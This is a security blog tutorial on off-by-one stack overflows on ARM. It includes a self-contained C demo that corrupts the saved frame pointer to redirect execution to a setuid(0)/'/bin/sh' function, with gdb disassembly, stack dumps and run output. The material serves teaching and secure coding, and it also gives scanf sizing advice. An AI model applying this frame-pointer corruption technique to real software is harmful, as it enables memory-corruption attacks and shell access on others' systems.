0ff by 0ne


Posted on August, 2017

Many overflows arise from the use of strcpy(), gets(), scanf() functions. So even if programmers have no control on buffer length, they tend to avoid them. Furthermore new IDEs and softwares have the ability to warn them when these “bad functions” are used in their code. However overflows will not disapear, in fact they can be present in many cases like “for” loop, “while” loop, as a result of bad indexing. These kind of bugs are called off-by-one overflows and can be exploited by modifying one or two bytes just after the buffer.

Vulnerable code example
char get_buff[LEN];
  int i;

  for(i = 0; i <= LEN ; i ++){
      get_buff[i] = entry[i];
  }
  

In this short piece of code we can see that the for function copies the entry buffer into the get_buff buffer. But we can see that there is a mistake in the number of loops, in fact the for loop will make LEN+1 turns and copy LEN+1 bytes into the get_buff buffer. This one more byte will not overwrite the return address of the function which contains this loop, so how can we exploit this vulnerability ?

Function Prologue and Epilogue

At the beginning of the function, the program pushes the frame pointer and the link register of the calling function into the stack.
After that the program also stores the value of the new frame pointer in register r11 (current frame pointer register on ARM)

Dump of assembler code for function vuln:
     0x000106ac <+0>: push    {r11, lr}
     0x000106b0 <+4>: add r11, sp, #4
  

At the end of the function, the program will restore the old stack pointer, and then popping the saved frame pointer into r11 register and the program counter register (next instruction )

   0x000106d0 <+36>:    sub sp, r11, #4
     0x000106d4 <+40>:    pop {r11, pc}
  

As a result if we can corrupt the value of the frame pointer, it will become possible to redirect the execution flow of a program.

Demonstration

Here is the exploit code :

#include<stdio.h>
  #include<stdlib.h>
  #include<string.h>
  #include<sys/types.h>
  #include<unistd.h>

  void vuln(char *buff);
  void exploit(void);
  void malicious(void);


  void malicious(){

       setuid(0);
       system("/bin/sh");

  }

  void exploit(){

       char buffer[513];
       int shell = (int) malicious;
       int i;

       printf("Bad things happen \n\n");
       memset(buffer, 0x00, 513);


  for(i=0;i<512;i+=4){

       buffer[i] = shell & 0xFF;
       buffer[i+1] = (shell>>8) & 0xFF;
       buffer[i+2] = (shell>>16)& 0xFF;
       buffer[i+3] = (shell>>24)& 0xFF;

      printf("buffer[%d] : 0x%x 0x%x, 0x%x, 0x%x\n", i+3, buffer[i+3], buffer[i+2], buffer[i+1], buffer[i]);
  }

          printf("Calling vulnerable function");
          vuln(buffer);

  }

  void vuln(char *buff){

          char vulnbuff[512];
          memcpy(vulnbuff, buff, 513);

  }

  int main(){

       printf("Off-by-one vulnerability\n");
       exploit();

  return 0;
  }
  

In this code we can see that the vuln function copies 513 bytes into a 512 bytes buffer, so let’s decompile this program and see what happens.

First we get the address of the exploit function which launches a shell

pi@raspberrypi:~/Documents/exploits/off_by_one $ gdb -q exploit
  Reading symbols from exploit...(no debugging symbols found)...done.
  (gdb) disas malicious
  Dump of assembler code for function malicious:
     0x00010514 <+0>: push    {r11, lr}
     0x00010518 <+4>: add r11, sp, #4
     0x0001051c <+8>: mov r0, #0
     0x00010520 <+12>:    bl  0x103d4
     0x00010524 <+16>:    ldr r0, [pc, #4]    ; 0x10530 <malicious+28>
     0x00010528 <+20>:    bl  0x103b0
     0x0001052c <+24>:    pop {r11, pc}
     0x00010530 <+28>:    andeq   r0, r1, r4, ror r7
  End of assembler dump.
  (gdb)
  

This function is at address 0x00010514. After that we will put a breakpoint just before calling the vulnerable function in order to check the current value of the frame pointer register.

(gdb) disas exploit
  Dump of assembler code for function exploit:
     0x00010534 <+0>: push    {r11, lr}
     0x00010538 <+4>: add r11, sp, #4
     0x0001053c <+8>: sub sp, sp, #536    ; 0x218
     0x00010540 <+12>:    ldr r3, [pc, #336]  ; 0x10698 <exploit+356>
     0x00010544 <+16>:    str r3, [r11, #-12]
     0x00010548 <+20>:    ldr r0, [pc, #332]  ; 0x1069c <exploit+360>
     0x0001054c <+24>:    bl  0x10398
     0x00010550 <+28>:    sub r3, r11, #528   ; 0x210
     0x00010554 <+32>:    mov r0, r3
     0x00010558 <+36>:    mov r1, #0
     0x0001055c <+40>:    ldr r2, [pc, #316]  ; 0x106a0 <exploit+364>
     0x00010560 <+44>:    bl  0x103c8
     0x00010564 <+48>:    mov r3, #0
     0x00010568 <+52>:    str r3, [r11, #-8]
     0x0001056c <+56>:    b   0x10670 <exploit+316>
     0x00010570 <+60>:    ldr r3, [r11, #-12]
     0x00010574 <+64>:    uxtb    r1, r3
     0x00010578 <+68>:    sub r2, r11, #528   ; 0x210
     0x0001057c <+72>:    ldr r3, [r11, #-8]
     0x00010580 <+76>:    add r3, r2, r3

  ....

     0x0001067c <+328>:   ldr r0, [pc, #36]   ; 0x106a8 <exploit+372>
     0x00010680 <+332>:   bl  0x10380
     0x00010684 <+336>:   sub r3, r11, #528   ; 0x210
     0x00010688 <+340>:   mov r0, r3
     0x0001068c <+344>:   bl  0x106ac <vuln>
     0x00010690 <+348>:   sub sp, r11, #4
     0x00010694 <+352>:   pop {r11, pc}
     0x00010698 <+356>:   andeq   r0, r1, r4, lsl r5
     0x0001069c <+360>:   andeq   r0, r1, r12, ror r7
     0x000106a0 <+364>:   andeq   r0, r0, r1, lsl #4
     0x000106a4 <+368>:   muleq   r1, r0, r7
  
(gdb) b *0x0001068c
  Breakpoint 1 at 0x1068c
  

After that, let’s decompile the vulnerable function.

(gdb) disas vuln
  Dump of assembler code for function vuln:
     0x000106ac <+0>:     push    {r11, lr}
     0x000106b0 <+4>:     add r11, sp, #4
     0x000106b4 <+8>:     sub sp, sp, #520    ; 0x208
     0x000106b8 <+12>:    str r0, [r11, #-520]    ; 0x208
     0x000106bc <+16>:    sub r3, r11, #516   ; 0x204
     0x000106c0 <+20>:    mov r0, r3
     0x000106c4 <+24>:    ldr r1, [r11, #-520]    ; 0x208
     0x000106c8 <+28>:    ldr r2, [pc, #8]    ; 0x106d8 <vuln+44>
     0x000106cc <+32>:    bl  0x1038c
     0x000106d0 <+36>:    sub sp, r11, #4
     0x000106d4 <+40>:    pop {r11, pc}
     0x000106d8 <+44>:    andeq   r0, r0, r1, lsl #4
  End of assembler dump.
  

The branch and link instruction in 0x000106cc will call the memcpy function, so we put a breakpoint at this address, and then we put a second breakpoint at address 0x000106d0 (just after the copy)

(gdb) b *0x000106cc
  Breakpoint 2 at 0x106cc
  (gdb) b *0x000106d0
  Breakpoint 3 at 0x106d0
  (gdb) r
  Starting program: /home/pi/Documents/exploits/off_by_one/exploit
  Off-by-one vulnerability
  Bad things happen
  

Let’s explore the stack! First breakpoint, we got the current frame pointer value just before calling the vulnerable function.

Breakpoint 1, 0x0001068c in exploit ()
  (gdb) i r
  r0             0x7efff3c4   2130703300
  r1             0x107ce  67534
  r2             0x1  1
  r3             0x7efff3c4   2130703300
  r4             0x0  0
  r5             0x0  0
  r6             0x103ec  66540
  r7             0x0  0
  r8             0x0  0
  r9             0x0  0
  r10            0x76fff000   1996484608
  r11            0x7efff5d4   2130703828
  r12            0x0  0
  sp             0x7efff3b8   0x7efff3b8
  lr             0x10684  67204
  pc             0x1068c  0x1068c <exploit+344>
  cpsr           0x60000010   1610612752
  (gdb)
  

At this time we know that the frame pointer value is 0x7efff5d4.

Let’s continue to breakpoint 2

(gdb) c
  Continuing.

  Breakpoint 2, 0x000106cc in vuln ()
  (gdb) x/150x $sp
  0x7efff1a8: 0x76fff8bc  0x7efff3c4  0x00000000  0x00000000
  0x7efff1b8: 0x00000001  0x00000894  0x76ff84e8  0x76ff8000
  0x7efff1c8: 0x76fcf616  0x76e725e8  0x76fcf344  0x00000001
  0x7efff1d8: 0x76ffac50  0x76fffb10  0x7efff31c  0x76fcf616
  0x7efff1e8: 0x7efff248  0x7c96f087  0x76fff568  0x7efff250
  0x7efff1f8: 0x7efff2a4  0x76fd94f0  0x7efff250  0x76fffab4
  0x7efff208: 0x00000000  0x76ff84e8  0x00000001  0x00000000
  0x7efff218: 0x00000001  0x76fff568  0x00000000  0x76ffae08
  0x7efff228: 0x00000004  0x76e69be8  0x00000000  0x76e682b0
  0x7efff238: 0x7efff270  0x76fd918c  0x00000000  0x76e69be8
  0x7efff248: 0x00000004  0x76ffed98  0x76e72528  0x00ab595d
  0x7efff258: 0x76fff000  0x76ffed98  0x7efff308  0x76fec860
  0x7efff268: 0x76fff8bc  0x76feaf38  0x00000000  0x00000000
  0x7efff278: 0x00000001  0x00000252  0x76ff8318  0x76ff8000
  0x7efff288: 0x00010295  0x76e725e8  0x00010218  0x00000001
  0x7efff298: 0x00000016  0x76fffb10  0x7efff37c  0x00010295
  0x7efff2a8: 0x7efff308  0x156b2bb8  0x76fff958  0x7efff310
  0x7efff2b8: 0x7efff364  0x76fd94f0  0x7efff310  0x76fffab4
  0x7efff2c8: 0x00000000  0x76ff8318  0x00000001  0x00000000
  0x7efff2d8: 0x00000001  0x76fff958  0x76fff050  0x76ffed98
  0x7efff2e8: 0x76feacc8  0x7efff338  0x76fecc60  0x76fcf4a4
  0x7efff2f8: 0x00000000  0x76fffb10  0x00000000  0x76fffb10
  0x7efff308: 0xffffffff  0x76fcf648  0x76e6c108  0x76ff8000
  0x7efff318: 0x00000000  0x76e72528  0x76ff851c  0x00000001
  0x7efff328: 0x00000000  0x76ff7000  0x00000001  0x0000000a
  0x7efff338: 0x0001077c  0x76ff7000  0x76fa3b40  0x76fff958
  0x7efff348: 0x00000000  0x000208f8  0x76ff74c0  0x00000000
  0x7efff358: 0x00010278  0x00000001  0x7efff5d4  0x343135b8
  0x7efff368: 0x76ff8318  0x00000000  0x00000000  0x00000000
  0x7efff378: 0x00000000  0x000103ec  0x00000000  0x00000000
  0x7efff388: 0x00000000  0x76fff000  0x7efff5d4  0x76eaf2d0
  0x7efff398: 0x76fff000  0x7efff3ac  0x00010790  0x00010684
  0x7efff3a8: 0x000107b4  0x00000000  0x7efff5d4  0x00010690
  0x7efff3b8: 0x00000005  0x00000014  0x76fff050  0x00010514
  0x7efff3c8: 0x00010514  0x00010514  0x00010514  0x00010514
  0x7efff3d8: 0x00010514  0x00010514  0x00010514  0x00010514
  ---Type <return> to continue, or q <return> to quit---
  0x7efff3e8: 0x00010514  0x00010514  0x00010514  0x00010514
  0x7efff3f8: 0x00010514  0x00010514
  (gdb)
  

We can see that the address 0x7efff3b0 the value 0x7efff5d4 which corresponds to the old framepointer value.
We can also see higher in the stack the value 0x00010514 which is the buffer argument of the vuln function.

Let’s continue the program execution

(gdb) c
  Continuing.

  Breakpoint 3, 0x000106d0 in vuln ()
  (gdb) x/150x $sp
  0x7efff1a8: 0x76fff8bc  0x7efff3c4  0x00010514  0x00010514
  0x7efff1b8: 0x00010514  0x00010514  0x00010514  0x00010514
  0x7efff1c8: 0x00010514  0x00010514  0x00010514  0x00010514
  0x7efff1d8: 0x00010514  0x00010514  0x00010514  0x00010514
  0x7efff1e8: 0x00010514  0x00010514  0x00010514  0x00010514
  0x7efff1f8: 0x00010514  0x00010514  0x00010514  0x00010514
  0x7efff208: 0x00010514  0x00010514  0x00010514  0x00010514
  0x7efff218: 0x00010514  0x00010514  0x00010514  0x00010514
  0x7efff228: 0x00010514  0x00010514  0x00010514  0x00010514
  0x7efff238: 0x00010514  0x00010514  0x00010514  0x00010514
  0x7efff248: 0x00010514  0x00010514  0x00010514  0x00010514
  0x7efff258: 0x00010514  0x00010514  0x00010514  0x00010514
  0x7efff268: 0x00010514  0x00010514  0x00010514  0x00010514
  0x7efff278: 0x00010514  0x00010514  0x00010514  0x00010514
  0x7efff288: 0x00010514  0x00010514  0x00010514  0x00010514
  0x7efff298: 0x00010514  0x00010514  0x00010514  0x00010514
  0x7efff2a8: 0x00010514  0x00010514  0x00010514  0x00010514
  0x7efff2b8: 0x00010514  0x00010514  0x00010514  0x00010514
  0x7efff2c8: 0x00010514  0x00010514  0x00010514  0x00010514
  0x7efff2d8: 0x00010514  0x00010514  0x00010514  0x00010514
  0x7efff2e8: 0x00010514  0x00010514  0x00010514  0x00010514
  0x7efff2f8: 0x00010514  0x00010514  0x00010514  0x00010514
  0x7efff308: 0x00010514  0x00010514  0x00010514  0x00010514
  0x7efff318: 0x00010514  0x00010514  0x00010514  0x00010514
  0x7efff328: 0x00010514  0x00010514  0x00010514  0x00010514
  0x7efff338: 0x00010514  0x00010514  0x00010514  0x00010514
  0x7efff348: 0x00010514  0x00010514  0x00010514  0x00010514
  0x7efff358: 0x00010514  0x00010514  0x00010514  0x00010514
  0x7efff368: 0x00010514  0x00010514  0x00010514  0x00010514
  0x7efff378: 0x00010514  0x00010514  0x00010514  0x00010514
  0x7efff388: 0x00010514  0x00010514  0x00010514  0x00010514
  0x7efff398: 0x00010514  0x00010514  0x00010514  0x00010514
  0x7efff3a8: 0x00010514  0x00010514  0x7efff500  0x00010690
  0x7efff3b8: 0x00000005  0x00000014  0x76fff050  0x00010514
  0x7efff3c8: 0x00010514  0x00010514  0x00010514  0x00010514
  0x7efff3d8: 0x00010514  0x00010514  0x00010514  0x00010514
  ---Type <return> to continue, or q <return> to quit---
  0x7efff3e8: 0x00010514  0x00010514  0x00010514  0x00010514
  0x7efff3f8: 0x00010514  0x00010514
  (gdb)
  

As we can see the one byte overflow has operated, and the old frame pointer value has been modified. The new value of the frame pointer at address 0x7efff3b0 is now 0x7efff500. That means when the vuln function will returns, the new frame pointer will be at 0x7efff500 (the address of our exploit function which has been put higher into the buffer).

0x7efff3a8: 0x00010514  0x00010514  0x7efff500<=FP  0x00010690
  0x7efff3b8: 0x00000005  0x00000014  0x76fff050  0x00010514
  0x7efff3c8: 0x00010514  0x00010514  0x00010514  0x00010514
  0x7efff3d8: 0x00010514  0x00010514  0x00010514  0x00010514
  ---Type <return> to continue, or q <return> to quit---
  0x7efff3e8: 0x00010514  0x00010514  0x00010514  0x00010514
  0x7efff3f8: 0x00010514  0x00010514  0x00010514  0x00010514
  0x7efff408: 0x00010514  0x00010514  0x00010514  0x00010514
  0x7efff418: 0x00010514  0x00010514  0x00010514  0x00010514
  0x7efff428: 0x00010514  0x00010514  0x00010514  0x00010514
  0x7efff438: 0x00010514  0x00010514  0x00010514  0x00010514
  0x7efff448: 0x00010514  0x00010514  0x00010514  0x00010514
  0x7efff458: 0x00010514  0x00010514  0x00010514  0x00010514
  0x7efff468: 0x00010514  0x00010514  0x00010514  0x00010514
  0x7efff478: 0x00010514  0x00010514  0x00010514  0x00010514
  0x7efff488: 0x00010514  0x00010514  0x00010514  0x00010514
  0x7efff498: 0x00010514  0x00010514  0x00010514  0x00010514
  0x7efff4a8: 0x00010514  0x00010514  0x00010514  0x00010514
  0x7efff4b8: 0x00010514  0x00010514  0x00010514  0x00010514
  0x7efff4c8: 0x00010514  0x00010514  0x00010514  0x00010514
  0x7efff4d8: 0x00010514  0x00010514  0x00010514  0x00010514
  0x7efff4e8: 0x00010514  0x00010514  0x00010514  0x00010514
  0x7efff4f8: 0x00010514  0x00010514  0x00010514<=Redirect 0x00010514
  0x7efff508: 0x00010514  0x00010514  0x00010514  0x00010514
  

Other cases

After this demonstration we can reach that off-by-one overflows happen when a programmer makes a mistake on the length of characters which is put on a buffer.
Here is another off-by-one overflow due to a misunderstanding of the scanf function:

char buffer[512];
  scanf("%512s",buffer);
  

In fact the scanf checks the length of the entry, but it had one more null byte at the end of the entry, so the buffer will be overflowed.

Here is the good way to use scanf

char buffer[512];
  scanf("%511s",buffer);
  

This is the case for each function in the scanf() and sprintf() family

Conclusion

Off-by-one overflow is much more difficult to find and exploit than classic overflow. In fact some of these vulnerabilities can’t be exploited due to a small buffer.
This exploit can be adapted to many architectures like lntel x86, Riscv. Sometimes compilers will add a padding between local variables and the frame pointer, here is the command to disable this option

 gcc -o vuln.exe vuln.c -mpreferred-stack-boundary=2
  

Proof

pi@raspberrypi:~/Documents/exploits/off_by_one $ ./exploit
Off-by-one vulnerability
Bad things happen

buffer[3] : 0x0 0x1, 0x5, 0x14
buffer[7] : 0x0 0x1, 0x5, 0x14
buffer[11] : 0x0 0x1, 0x5, 0x14
buffer[15] : 0x0 0x1, 0x5, 0x14
buffer[19] : 0x0 0x1, 0x5, 0x14
buffer[23] : 0x0 0x1, 0x5, 0x14
buffer[27] : 0x0 0x1, 0x5, 0x14
buffer[31] : 0x0 0x1, 0x5, 0x14
buffer[35] : 0x0 0x1, 0x5, 0x14
buffer[39] : 0x0 0x1, 0x5, 0x14
buffer[43] : 0x0 0x1, 0x5, 0x14
buffer[47] : 0x0 0x1, 0x5, 0x14
buffer[51] : 0x0 0x1, 0x5, 0x14
buffer[55] : 0x0 0x1, 0x5, 0x14
buffer[59] : 0x0 0x1, 0x5, 0x14
buffer[63] : 0x0 0x1, 0x5, 0x14
buffer[67] : 0x0 0x1, 0x5, 0x14
buffer[71] : 0x0 0x1, 0x5, 0x14
buffer[75] : 0x0 0x1, 0x5, 0x14
buffer[79] : 0x0 0x1, 0x5, 0x14
buffer[83] : 0x0 0x1, 0x5, 0x14
buffer[87] : 0x0 0x1, 0x5, 0x14
buffer[91] : 0x0 0x1, 0x5, 0x14
buffer[95] : 0x0 0x1, 0x5, 0x14
buffer[99] : 0x0 0x1, 0x5, 0x14
buffer[103] : 0x0 0x1, 0x5, 0x14
buffer[107] : 0x0 0x1, 0x5, 0x14
buffer[111] : 0x0 0x1, 0x5, 0x14
buffer[115] : 0x0 0x1, 0x5, 0x14
buffer[119] : 0x0 0x1, 0x5, 0x14
buffer[123] : 0x0 0x1, 0x5, 0x14
buffer[127] : 0x0 0x1, 0x5, 0x14
buffer[131] : 0x0 0x1, 0x5, 0x14
buffer[135] : 0x0 0x1, 0x5, 0x14
buffer[139] : 0x0 0x1, 0x5, 0x14
buffer[143] : 0x0 0x1, 0x5, 0x14
buffer[147] : 0x0 0x1, 0x5, 0x14
buffer[151] : 0x0 0x1, 0x5, 0x14
buffer[155] : 0x0 0x1, 0x5, 0x14
buffer[159] : 0x0 0x1, 0x5, 0x14
buffer[163] : 0x0 0x1, 0x5, 0x14
buffer[167] : 0x0 0x1, 0x5, 0x14
buffer[171] : 0x0 0x1, 0x5, 0x14
buffer[175] : 0x0 0x1, 0x5, 0x14
buffer[179] : 0x0 0x1, 0x5, 0x14
buffer[183] : 0x0 0x1, 0x5, 0x14
buffer[187] : 0x0 0x1, 0x5, 0x14
buffer[191] : 0x0 0x1, 0x5, 0x14
buffer[195] : 0x0 0x1, 0x5, 0x14
buffer[199] : 0x0 0x1, 0x5, 0x14
buffer[203] : 0x0 0x1, 0x5, 0x14
buffer[207] : 0x0 0x1, 0x5, 0x14
buffer[211] : 0x0 0x1, 0x5, 0x14
buffer[215] : 0x0 0x1, 0x5, 0x14
buffer[219] : 0x0 0x1, 0x5, 0x14
buffer[223] : 0x0 0x1, 0x5, 0x14
buffer[227] : 0x0 0x1, 0x5, 0x14
buffer[231] : 0x0 0x1, 0x5, 0x14
buffer[235] : 0x0 0x1, 0x5, 0x14
buffer[239] : 0x0 0x1, 0x5, 0x14
buffer[243] : 0x0 0x1, 0x5, 0x14
buffer[247] : 0x0 0x1, 0x5, 0x14
buffer[251] : 0x0 0x1, 0x5, 0x14
buffer[255] : 0x0 0x1, 0x5, 0x14
buffer[259] : 0x0 0x1, 0x5, 0x14
buffer[263] : 0x0 0x1, 0x5, 0x14
buffer[267] : 0x0 0x1, 0x5, 0x14
buffer[271] : 0x0 0x1, 0x5, 0x14
buffer[275] : 0x0 0x1, 0x5, 0x14
buffer[279] : 0x0 0x1, 0x5, 0x14
buffer[283] : 0x0 0x1, 0x5, 0x14
buffer[287] : 0x0 0x1, 0x5, 0x14
buffer[291] : 0x0 0x1, 0x5, 0x14
buffer[295] : 0x0 0x1, 0x5, 0x14
buffer[299] : 0x0 0x1, 0x5, 0x14
buffer[303] : 0x0 0x1, 0x5, 0x14
buffer[307] : 0x0 0x1, 0x5, 0x14
buffer[311] : 0x0 0x1, 0x5, 0x14
buffer[315] : 0x0 0x1, 0x5, 0x14
buffer[319] : 0x0 0x1, 0x5, 0x14
buffer[323] : 0x0 0x1, 0x5, 0x14
buffer[327] : 0x0 0x1, 0x5, 0x14
buffer[331] : 0x0 0x1, 0x5, 0x14
buffer[335] : 0x0 0x1, 0x5, 0x14
buffer[339] : 0x0 0x1, 0x5, 0x14
buffer[343] : 0x0 0x1, 0x5, 0x14
buffer[347] : 0x0 0x1, 0x5, 0x14
buffer[351] : 0x0 0x1, 0x5, 0x14
buffer[355] : 0x0 0x1, 0x5, 0x14
buffer[359] : 0x0 0x1, 0x5, 0x14
buffer[363] : 0x0 0x1, 0x5, 0x14
buffer[367] : 0x0 0x1, 0x5, 0x14
buffer[371] : 0x0 0x1, 0x5, 0x14
buffer[375] : 0x0 0x1, 0x5, 0x14
buffer[379] : 0x0 0x1, 0x5, 0x14
buffer[383] : 0x0 0x1, 0x5, 0x14
buffer[387] : 0x0 0x1, 0x5, 0x14
buffer[391] : 0x0 0x1, 0x5, 0x14
buffer[395] : 0x0 0x1, 0x5, 0x14
buffer[399] : 0x0 0x1, 0x5, 0x14
buffer[403] : 0x0 0x1, 0x5, 0x14
buffer[407] : 0x0 0x1, 0x5, 0x14
buffer[411] : 0x0 0x1, 0x5, 0x14
buffer[415] : 0x0 0x1, 0x5, 0x14
buffer[419] : 0x0 0x1, 0x5, 0x14
buffer[423] : 0x0 0x1, 0x5, 0x14
buffer[427] : 0x0 0x1, 0x5, 0x14
buffer[431] : 0x0 0x1, 0x5, 0x14
buffer[435] : 0x0 0x1, 0x5, 0x14
buffer[439] : 0x0 0x1, 0x5, 0x14
buffer[443] : 0x0 0x1, 0x5, 0x14
buffer[447] : 0x0 0x1, 0x5, 0x14
buffer[451] : 0x0 0x1, 0x5, 0x14
buffer[455] : 0x0 0x1, 0x5, 0x14
buffer[459] : 0x0 0x1, 0x5, 0x14
buffer[463] : 0x0 0x1, 0x5, 0x14
buffer[467] : 0x0 0x1, 0x5, 0x14
buffer[471] : 0x0 0x1, 0x5, 0x14
buffer[475] : 0x0 0x1, 0x5, 0x14
buffer[479] : 0x0 0x1, 0x5, 0x14
buffer[483] : 0x0 0x1, 0x5, 0x14
buffer[487] : 0x0 0x1, 0x5, 0x14
buffer[491] : 0x0 0x1, 0x5, 0x14
buffer[495] : 0x0 0x1, 0x5, 0x14
buffer[499] : 0x0 0x1, 0x5, 0x14
buffer[503] : 0x0 0x1, 0x5, 0x14
buffer[507] : 0x0 0x1, 0x5, 0x14
buffer[511] : 0x0 0x1, 0x5, 0x14
$

  

It works :)


Presentation
Cyril Bresch is graduated from the Grenoble Institute of Technology, Esisar school in computer engineering. He is now a Phd Student within the LCIS lab from Univ. Grenoble Alps and Grenoble Institute of Technology in Valence, France. His research interests are computer security and processor architecture security.

Second place a CSAW 2k16 NYU :)
IEEE publication : "A Red Team Blue Team approach Towards a Secure Processor Design With a Hardware Shadow Stack"

You can contact me at cyril[dot]bresch[dot]fr[at]gmail[dot]com